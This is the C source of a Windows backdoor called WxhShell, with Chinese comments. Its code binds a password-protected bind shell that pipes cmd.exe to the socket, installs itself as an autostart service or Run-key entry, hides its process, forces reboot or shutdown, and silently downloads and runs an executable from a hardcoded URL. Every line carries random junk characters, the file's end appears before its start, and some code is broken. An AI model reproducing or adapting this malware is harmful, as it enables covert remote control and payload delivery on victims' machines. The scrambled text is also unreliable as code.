    if(Boot(SHUTDOWN)) ?7@B$OlU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k)b}"' I  
    else { c#$B;?  
    closesocket(wsh); 05LVfgJ'q  
    ExitThread(0); Cv>|>Ob#  
    } )(9>r /bq  
    break; ?&_ -,\t  
    } CK 3]]{  
  // 获取shell EJ.oq*W!*J  
  case 's': { he wX)  
    CmdShell(wsh); x %L2eXL  
    closesocket(wsh); k8F<j)"  
    ExitThread(0); rC14X}X6  
    break; \$/)o1SG  
  } x:88E78  
  // 退出 7;#9\a:R?  
  case 'x': { {x W? v;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q$Ga.fI  
    CloseIt(wsh); JWr:/?  
    break; bA@!0,m  
    } tU >wRw=d  
  // 离开 G6w&C^J*8>  
  case 'q': { A9Q!V01_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F.HD;C-;(  
    closesocket(wsh); V'#dY~E-P  
    WSACleanup(); _~&6Kb^*  
    exit(1); *$Z}v&-0k  
    break; iN"kv   
        } $]%;u: Sa  
  } /WRS6n  
  } 2BXpk^d5y  
z~L''X7g  
  // 提示信息 Al09R,I;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C$vKRg\o  
} A`T VV  
  } )y\^5>p[  
Ds9pXgU( Z  
  return; od{Y` .<  
} NEa :  
&W-L`aFd0  
// shell模块句柄 wOOBW0tj  
int CmdShell(SOCKET sock) dQYb)4ir  
{ ^ ~:f02[D  
STARTUPINFO si; );_g2=:#  
ZeroMemory(&si,sizeof(si)); 2qo=ud  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h$)(-_c3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ah1d0e P  
PROCESS_INFORMATION ProcessInfo; G+stt(k:  
char cmdline[]="cmd"; mp!KPw08':  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <{bQl L  
  return 0; )XmV3.rI  
} }&I\a  
f_}/JF  
// 自身启动模式 nT..+ J)  
int StartFromService(void) 9W:oo:dK F  
{ _T&?H&#  
typedef struct SUINV_>7  
{ _G|hKk^,  
  DWORD ExitStatus; K 4QJDC8  
  DWORD PebBaseAddress; HYyO/U9z|I  
  DWORD AffinityMask; p~6/+ap  
  DWORD BasePriority; 8W#/=Xh?  
  ULONG UniqueProcessId; ?:vp3f#  
  ULONG InheritedFromUniqueProcessId; 9un]}7^  
}   PROCESS_BASIC_INFORMATION; z}.y ?#  
j5,1`7\7B  
PROCNTQSIP NtQueryInformationProcess; Umjt~K^Z  
0vuL(W8)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C8rD54A'M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I|9(*tq)  
G# gUd'=M  
  HANDLE             hProcess; lYmqFd~p  
  PROCESS_BASIC_INFORMATION pbi; (4cWq!ax<$  
^q5~;_z|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3('=+d[}Vw  
  if(NULL == hInst ) return 0; px %xoY  
nDu f<mw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^E\{&kaUp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Qz\yoI8JA,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8] skAh  
L`;p.L Bs_  
  if (!NtQueryInformationProcess) return 0; 3XF.$=@  
Tm(XM<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #no~g( !o  
  if(!hProcess) return 0; Zt4g G KG  
3I&=1o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?%% 'GX  
njeRzX  
  CloseHandle(hProcess); )b`Xc+{>  
+PgUbr[p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5LdVcXf  
if(hProcess==NULL) return 0; :,g nOfV=  
"X0"=1R~  
HMODULE hMod; Oo |*q+{  
char procName[255]; w F6ywr  
unsigned long cbNeeded; v,y nz'>)  
2+zE|I.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^!^6 |[  
BZq_om6  
  CloseHandle(hProcess); 0T7(c-  
! Ob  
if(strstr(procName,"services")) return 1; // 以服务启动 _;(`u!@/{  
9pUvw_9MY  
  return 0; // 注册表启动 A]ZCQ49  
} QA>(}u\+  
qzS 9ls>>  
// 主模块 M4 SJnE  
int StartWxhshell(LPSTR lpCmdLine) Cw42bO  
{ 7 K.&zn  
  SOCKET wsl; J!5BH2bg  
BOOL val=TRUE; U/F<r3.`#  
  int port=0; Mx{VN P  
  struct sockaddr_in door; o|Cq#JFG  
OzY55  
  if(wscfg.ws_autoins) Install(); FdEzt  
nv&uhu/q  
port=atoi(lpCmdLine); 1{+x >Pv:  
g?N~mca$  
if(port<=0) port=wscfg.ws_port;  N1,=5P$  
#=F"PhiX`  
  WSADATA data; )OQhtxK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WeDeD\zy  
maAZI-H{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {6{y"8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &7Frg`B&:  
  door.sin_family = AF_INET; AzAD76iNv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \$:KfN>WY  
  door.sin_port = htons(port); <"A|Xv'Q  
^?PU:eS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z0&^U#]  
closesocket(wsl); GslUN% UJr  
return 1; w1HE^ /  
} !OWPwBm;  
'F%4[3a$\n  
  if(listen(wsl,2) == INVALID_SOCKET) { ?xEQ'(UBQ  
closesocket(wsl); /~3~Xc ~=p  
return 1; (Mi]vK.4  
} Y.` {]rC  
  Wxhshell(wsl); Y<|!)JLB2  
  WSACleanup(); S\fEV"  
3sG7G:4  
return 0;  aEUC  
lOIBX@K E  
} mr:;Wwd  
Yhdt"@;..  
// 以NT服务方式启动 1HQh%dZZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?#8',:  
{ r~cmrLQa  
DWORD   status = 0; #qkokV6`  
  DWORD   specificError = 0xfffffff; &y` MDyXz  
' >(])Oq,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H QHFD0hv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KHwzQ<Z3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AA][}lU:5  
  serviceStatus.dwWin32ExitCode     = 0; z_qy >  
  serviceStatus.dwServiceSpecificExitCode = 0; ~\= VSwJ  
  serviceStatus.dwCheckPoint       = 0; [A$5~/Q{U1  
  serviceStatus.dwWaitHint       = 0; &v!=\Fig4  
LhM{LUi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l`lo5:w  
  if (hServiceStatusHandle==0) return; KrO oxrDcp  
dw %aoe  
status = GetLastError(); f[,9WkC  
  if (status!=NO_ERROR) %Q]u_0P*  
{ lfjY45=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yXU-@~  
    serviceStatus.dwCheckPoint       = 0; y,qP$ 5xiq  
    serviceStatus.dwWaitHint       = 0; s2Gi4fY?  
    serviceStatus.dwWin32ExitCode     = status; UeWEncN(  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2p\CCzw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 49f- u  
    return; ,#3}TDC  
  } oI=7X*B9  
[NcS[*qp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^NJ]~h{n$  
  serviceStatus.dwCheckPoint       = 0; Xx{ho 4qq  
  serviceStatus.dwWaitHint       = 0; p:M#F:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U3r[ysf  
} *8}Y0V\s  
=4GJYhj  
// 处理NT服务事件,比如:启动、停止 (]wi^dE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }.Eq_wP<  
{ WqN=  D5  
switch(fdwControl) \m-fLX  
{ 8@%Xd^  
case SERVICE_CONTROL_STOP: [% chN /  
  serviceStatus.dwWin32ExitCode = 0; }Ictnb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "=4`RM  
  serviceStatus.dwCheckPoint   = 0; HZMs],GX  
  serviceStatus.dwWaitHint     = 0; QX (x6y>Q  
  { #.O,JG#H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :T~Aa(%(  
  } /UeLf $%ZW  
  return; qh Ezv~  
case SERVICE_CONTROL_PAUSE: V~LZ%NZ8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YArNJ5z=  
  break; 1|Y(XB^os(  
case SERVICE_CONTROL_CONTINUE: 8f>=.O*)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }qfr&Ffh@  
  break; L'{;V\d  
case SERVICE_CONTROL_INTERROGATE: A.7:.5Cx'  
  break; Dd|}LV  
}; T!$7:% D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zb9^ii$g  
} jB }O6u[%  
&d`T~fl|  
// 标准应用程序主函数 0 eZfHW&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H"(:6 `  
{ MhC74G  
0?uX}8w  
// 获取操作系统版本 E/cA6*E[.<  
OsIsNt=GetOsVer(); N/)mw/?i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G%)?jg@EA  
>Bp%~8f  
  // 从命令行安装 xO'I*)  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~45u a  
E#"QaI8`  
  // 下载执行文件 \C.%S +u  
if(wscfg.ws_downexe) { m1_?xU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N_<sCRd]9  
  WinExec(wscfg.ws_filenam,SW_HIDE); /H.QGPr  
} \3K6NA!L  
BmYU#h  
if(!OsIsNt) { 8)/i\=N3;  
// 如果时win9x,隐藏进程并且设置为注册表启动 WrbDB-uM  
HideProc(); |Y3!Lix  
StartWxhshell(lpCmdLine); Okk[}G)  
} { frEVHw  
else QiWv  
  if(StartFromService()) ':# ?YQ}2  
  // 以服务方式启动 %sC,;^wla'  
  StartServiceCtrlDispatcher(DispatchTable); 6h>8^l  
else \Ekez~k{`  
  // 普通方式启动 Qu]0BVIe  
  StartWxhshell(lpCmdLine); 43rM?_72  
"FQh^+  
return 0; @_YEK3l]l  
} ;a!o$y  
 .Pq8C  
qx 3.oU  
k/l@P  
=========================================== 4,9AoK)yp  
=1^a/  
ih `/1n  
~ C5iyXR  
x6HebIR+  
DHpU?;|3  
" rP ;~<IxEr  
o!mf d}nG  
#include <stdio.h> Wy#`*h,  
#include <string.h> AX**q$ 'R  
#include <windows.h> Z{#^lhHx  
#include <winsock2.h> vVyO}Q`  
#include <winsvc.h> q" wi.&|  
#include <urlmon.h> !|_ CXm T|  
MIa].S#  
#pragma comment (lib, "Ws2_32.lib") <0P`ct0,i  
#pragma comment (lib, "urlmon.lib") M)Rp+uQ  
GQqw(2Ub}  
#define MAX_USER   100 // 最大客户端连接数 !N$4.slr<p  
#define BUF_SOCK   200 // sock buffer =D5@PHpv(  
#define KEY_BUFF   255 // 输入 buffer p@i U}SUaE  
qNHS 1  
#define REBOOT     0   // 重启 w GZ(bKyO  
#define SHUTDOWN   1   // 关机 =\4w" /Y  
7g ]]>  
#define DEF_PORT   5000 // 监听端口 7~\Dzcfk"P  
NOyLZa'  
#define REG_LEN     16   // 注册表键长度 QXJD' c  
#define SVC_LEN     80   // NT服务名长度 ZC"6B(d  
]+0-$t7Y  
// 从dll定义API +^YV>;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _if&a'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?y<n^`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XeDU ,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3+A 0O%0*  
R,Zuy( g  
// wxhshell配置信息 hD<z^j+  
struct WSCFG { ?d+B]VYw  
  int ws_port;         // 监听端口 ;YZw{|gsh  
  char ws_passstr[REG_LEN]; // 口令 };oRx)  
  int ws_autoins;       // 安装标记, 1=yes 0=no zQ{ Q>"-  
  char ws_regname[REG_LEN]; // 注册表键名 ("/*k  
  char ws_svcname[REG_LEN]; // 服务名 $ O}gl Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1\YX|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ccz:NpK+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qjR;c& qR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8e>;E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8g>jz 8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  >o.u,  
q,nj|9z V  
}; lG# &Pv>-  
%c^]Rdl  
// default Wxhshell configuration ItM?nyA  
struct WSCFG wscfg={DEF_PORT, /bCrpcH  
    "xuhuanlingzhe", { w!}:8p  
    1, b@YSrjJ  
    "Wxhshell", rA=F:N 2  
    "Wxhshell", jv2l_  
            "WxhShell Service", @2$PU{dH  
    "Wrsky Windows CmdShell Service", ]?``*{Zqy  
    "Please Input Your Password: ", ;k b^mJE  
  1, h(/|`   
  "http://www.wrsky.com/wxhshell.exe", ] (MXP,R  
  "Wxhshell.exe" 7h&xfrSrD  
    }; twgU ru  
0?p_|X'_  
// 消息定义模块 EzNmsbtZ(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hNx`=D9[7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d0-}Xl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pbqa  
char *msg_ws_ext="\n\rExit."; =1yUH9\,b  
char *msg_ws_end="\n\rQuit."; BOwkC;Q[  
char *msg_ws_boot="\n\rReboot..."; )>\Ne~%  
char *msg_ws_poff="\n\rShutdown..."; ,?&hqM\  
char *msg_ws_down="\n\rSave to "; (3]7[h7  
WDzov9ot  
char *msg_ws_err="\n\rErr!"; NmB0CbB  
char *msg_ws_ok="\n\rOK!"; tm]75*?  
&OI=r vDmo  
char ExeFile[MAX_PATH]; {qLnwy!i  
int nUser = 0; J|xqfY@+  
HANDLE handles[MAX_USER]; gEi" m5po  
int OsIsNt; $%1[<}<  
Q8:u1$}  
SERVICE_STATUS       serviceStatus; 5j ]}/Aq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K03a@:  
<S\S @3  
// 函数声明 ).tZMLM/-  
int Install(void); TP^.]I O-  
int Uninstall(void); %J|EDf ,M  
int DownloadFile(char *sURL, SOCKET wsh); 8l='Hl  
int Boot(int flag); kOtC(\]5  
void HideProc(void); tOspDPSXX  
int GetOsVer(void); $u3N ',&  
int Wxhshell(SOCKET wsl); 4uNcp0  
void TalkWithClient(void *cs); k ,<L#?,a  
int CmdShell(SOCKET sock); $ng\qJ"HF  
int StartFromService(void); ];uvE? 55  
int StartWxhshell(LPSTR lpCmdLine); x[(2}Qd  
J puW !I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >Y2Rr9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /AMtT%91  
5lU`o  
// 数据结构和表定义 *f4KmiQ~ %  
SERVICE_TABLE_ENTRY DispatchTable[] = M/1Q/;0P  
{ 4&y_+  
{wscfg.ws_svcname, NTServiceMain}, L\-T[w),z7  
{NULL, NULL} q>Q|:g&:  
}; siD Sm  
&0>{mq}p,:  
// 自我安装 e9%6+ 9Y  
int Install(void) %djx0sy  
{ ! prU!5-  
  char svExeFile[MAX_PATH]; dvL'>'g  
  HKEY key; <|2_1[,sl  
  strcpy(svExeFile,ExeFile); D J<c  
Zb9@U: \  
// 如果是win9x系统,修改注册表设为自启动 }(hE{((o  
if(!OsIsNt) { MnX2sX|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2}}~\C}o+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $iP#8La:Y  
  RegCloseKey(key); ZnJnjW PQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x(t} H8q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '6xn!dK  
  RegCloseKey(key); y!v$5wi  
  return 0; @{ nT4{  
    } Vm6^'1CY  
  } u*9C(je  
} }XXE hOO  
else { k"sL.}$  
QY^ y(I49  
// 如果是NT以上系统,安装为系统服务 EI_J7J+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IsRsjhg8x  
if (schSCManager!=0) @ym7hk.  
{ Ko%rB+d  
  SC_HANDLE schService = CreateService qlgh$9  
  ( F(XWnfUv  
  schSCManager, qy-BZ%3  
  wscfg.ws_svcname, mYy3KqYu  
  wscfg.ws_svcdisp, d->b9  
  SERVICE_ALL_ACCESS, :ZzG5[o3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O! j@8~='  
  SERVICE_AUTO_START, p[/n[@<8=  
  SERVICE_ERROR_NORMAL, XBr>K> (  
  svExeFile, z?gJHN<  
  NULL, Zv-6H*zM6  
  NULL, k,@1rOf  
  NULL, T4f:0r;^f*  
  NULL, Lte\;Se.tu  
  NULL ';lO[B  
  ); }>OE"#si  
  if (schService!=0) Hv`Zc*  
  { M0"feq  
  CloseServiceHandle(schService); lO) B/N&  
  CloseServiceHandle(schSCManager); Tl1?5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~]yqJYiid^  
  strcat(svExeFile,wscfg.ws_svcname); my} P\r.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L`Ic0}|lzy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z7f~|}  
  RegCloseKey(key); d@l;dos),  
  return 0; ILVbbC`D  
    } X:e'@]Z)?  
  } N&GcWcq  
  CloseServiceHandle(schSCManager); 3{c&%F~!  
} *FAg^G&1  
} ;{ezK8FJ}@  
HwGtLeB"  
return 1; jxoEOEA  
} 9z-"JnM  
pTN_6=Y"  
// 自我卸载 zCQv:.0L  
int Uninstall(void) *o>E{  
{ B#gmT2L  
  HKEY key; es6e-y@e  
pE`( kD  
if(!OsIsNt) { \UC4ai2MK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1rKR=To  
  RegDeleteValue(key,wscfg.ws_regname); gTq-\k(  
  RegCloseKey(key); +amvQ];?Q8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { awawq9)Y  
  RegDeleteValue(key,wscfg.ws_regname); O@$hG8:  
  RegCloseKey(key); 3gM{lS}h#  
  return 0;  qJK^i.e  
  } 2cDC6rul  
} IR>K ka(B  
} "E8!{  
else { LNg1q1 P3  
K)14v;@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <AIsNqr  
if (schSCManager!=0) F0!r9U((  
{ ]6aM %r=c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t #AQD]h  
  if (schService!=0) Iq5F^rH`[  
  { U-k;kmaj  
  if(DeleteService(schService)!=0) { UkYQ<MNO  
  CloseServiceHandle(schService); i3~!ofTb  
  CloseServiceHandle(schSCManager); iIT<{m&`  
  return 0; "2h#i nS  
  } lfKknp#B/O  
  CloseServiceHandle(schService); ZHBwoC#5}  
  } 54OYAkPCk  
  CloseServiceHandle(schSCManager); X-duG*~  
} H{V-C_  
} e,x@?L*  
o O|^ [b#  
return 1; Q,4F=b  
} QZfPd\Q5  
^w HMKC  
// 从指定url下载文件 .SsIU\[)  
int DownloadFile(char *sURL, SOCKET wsh) H z6H,h  
{ `SG70/  
  HRESULT hr; 5FzRusNiA  
char seps[]= "/"; i" )_M|   
char *token; l?~ci ;lG  
char *file; lz*PNT{E  
char myURL[MAX_PATH]; w iq{ Jo#  
char myFILE[MAX_PATH]; }iC~B}  
:@/fy}!  
strcpy(myURL,sURL); pqs)ueu  
  token=strtok(myURL,seps); }/LYI  
  while(token!=NULL) I*ej_cFQ^  
  { }n.h)Oz  
    file=token; pta%%8":  
  token=strtok(NULL,seps); |B n=$T]  
  } Y}Dp{  
oY] VP+b!  
GetCurrentDirectory(MAX_PATH,myFILE); 7Y)wu$!7}  
strcat(myFILE, "\\"); JTI m`t"d=  
strcat(myFILE, file); . 9 NS  
  send(wsh,myFILE,strlen(myFILE),0); q! ,do2T  
send(wsh,"...",3,0); D;L :a`Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TM}F9!*je  
  if(hr==S_OK) D6vn3*,&  
return 0; 7^; OjO@8  
else )&9 =)G  
return 1; N!v@!z9Mu  
ArEpH"}@  
} `8-aHPF-  
6?lg 6a/eO  
// 系统电源模块 rNAu@B  
int Boot(int flag) Fv: %"P^  
{ h <M7[p=  
  HANDLE hToken; 98]t"ny [  
  TOKEN_PRIVILEGES tkp; 0 mQ3P.9  
HB}gn2 .1&  
  if(OsIsNt) { $7r wara  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `SW " RLS3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2mO#vTX4  
    tkp.PrivilegeCount = 1; mx[^LaR>v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o`U\Nhq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VB#31T#q?  
if(flag==REBOOT) { g5Vr2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2%8Y-o?  
  return 0; 3oKGeB;Ja  
} ^ZlV1G;/W@  
else { Rf^cw}jU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nsp K.*?  
  return 0; 8.^U6xA  
} ;?!rpj  
  } E oR(/*'  
  else { C{Ug ?hVP  
if(flag==REBOOT) { U{_s1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7`/qL "  
  return 0; rrWk&;?  
} ]aRD6F:L  
else { qWpCe*C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &V3oW1*W  
  return 0; gdK/:%u3  
} $.1'Ym  
} HH#i.s2  
PPPwDsJ  
return 1; /RC!Yi  
} de6dLT>m  
nnNg^<[k3  
// win9x进程隐藏模块 t4*A+"~j  
void HideProc(void) %MJ7u}  
{ &-:yn&f7  
;5k|gW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~K96y$ DTE  
  if ( hKernel != NULL ) )R@gnTe  
  { -],?kP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cQ41NX@I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Uq.~3V+u  
    FreeLibrary(hKernel); 5r<(Z0  
  } j*u9+.   
}tZAU\z  
return; UK>=y_FYO  
} 1^#Q/J,  
@>IjfrjV  
// 获取操作系统版本 F\R}no5C  
int GetOsVer(void) ebe@.ZVSi  
{ /A.i5=k  
  OSVERSIONINFO winfo; B9DxV>mr\r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;cn.s,  
  GetVersionEx(&winfo); GKhwn&qCKb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \,gZNe&Vv  
  return 1; !#I/be]  
  else +fQL~ 0tA  
  return 0; u^$Md WP  
} i{ @'\}{L  
+i#sS19h  
// 客户端句柄模块 '?gI cWM  
int Wxhshell(SOCKET wsl) w%dIe!sV  
{ K!K"}%/_  
  SOCKET wsh; XHM"agrhSQ  
  struct sockaddr_in client; W+ '}O<  
  DWORD myID; >Mz|e(6  
J<#`IaV  
  while(nUser<MAX_USER) 64']F1p0  
{  RhNaYO  
  int nSize=sizeof(client); + 4g%?5'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @n X2*j*u  
  if(wsh==INVALID_SOCKET) return 1; bM0[V5:jB  
NND=Z xl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !K3cf]2UD  
if(handles[nUser]==0) (E}cA&{  
  closesocket(wsh); *.]E+MYi*  
else :2)1vQH0L  
  nUser++; 6a?$=y  
  } HL}~W}!j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5%+bWI{w  
pb6^sA%l  
  return 0; `vxrC&,As  
} kqvJ&7  
P"uHtHK  
// 关闭 socket $:E}Nj]{&  
void CloseIt(SOCKET wsh) j$8|ym^OX  
{ hAr[atu87  
closesocket(wsh); !8@rK$DB  
nUser--; I,<54? vS  
ExitThread(0); <S8W~ wC  
} o+_/)c  
iQzX-a|4]  
// 客户端请求句柄 k?/vy9  
void TalkWithClient(void *cs) \*%i#]wO@  
{ :n4:@L<%H  
+>:}req  
  SOCKET wsh=(SOCKET)cs; 27],O@ 2?L  
  char pwd[SVC_LEN]; /1W7<']>xV  
  char cmd[KEY_BUFF]; n *i'vtQ8  
char chr[1]; ow+Dd[i  
int i,j; EdAR<VfleA  
A]iv)C;]  
  while (nUser < MAX_USER) { k g,ys4  
hHc^ZA  
if(wscfg.ws_passstr) { RQpIBsj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2WPF{y%/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QPe9s[Y  
  //ZeroMemory(pwd,KEY_BUFF); ]fADaw-R  
      i=0; .5!sOOs$P  
  while(i<SVC_LEN) { ,M@m4bx  
t&9as}  
  // 设置超时 RCh$j&Tn  
  fd_set FdRead; =,d* {m~A  
  struct timeval TimeOut; Y%)h)El  
  FD_ZERO(&FdRead); @nx}6?p\,  
  FD_SET(wsh,&FdRead); 9Z0CF~Y5  
  TimeOut.tv_sec=8; 9]L!.  
  TimeOut.tv_usec=0; [7e{=\`=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 02W4-*)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xZP>g  
Z6R: rq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N* ] i G~  
  pwd=chr[0]; B)"#/@!bHH  
  if(chr[0]==0xd || chr[0]==0xa) { =(.mf  
  pwd=0; Rnj Jg?I=  
  break; 5]H))}9>d  
  } l$-=Pqb  
  i++; YBtq0c  
    } "y~muE:.  
"$W|/vD+  
  // 如果是非法用户,关闭 socket q: TT4MUj<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b =K6IX;  
} 9iGE`1N%E  
S!jF:Uc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5 dfe@$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N[,VSO&  
:kb1}Wu  
while(1) { 1 ;\]D9i  
']IT uP8  
  ZeroMemory(cmd,KEY_BUFF); KUp   
T/GgF&i3  
      // 自动支持客户端 telnet标准   \)^,PA3  
  j=0; T2 :oWjC3$  
  while(j<KEY_BUFF) { 8tLT'2+H#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {=bg5I0|a  
  cmd[j]=chr[0]; ]&C:>  
  if(chr[0]==0xa || chr[0]==0xd) { <78$]Z2we  
  cmd[j]=0; Ha)3i{OM  
  break; 3?.1~"-J  
  } I&pr_~.  
  j++; ?qg^WDs$  
    } K0 O-WJ  
]pOYVf *$  
  // 下载文件 C#U< k0R  
  if(strstr(cmd,"http://")) { z^gQ\\,4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `1fJ:b/M  
  if(DownloadFile(cmd,wsh)) sf |oNOz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YN,y0t/cQ  
  else >JKnGeF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xvwD3.1  
  } Vs_\ykO  
  else { V!T^wh;  
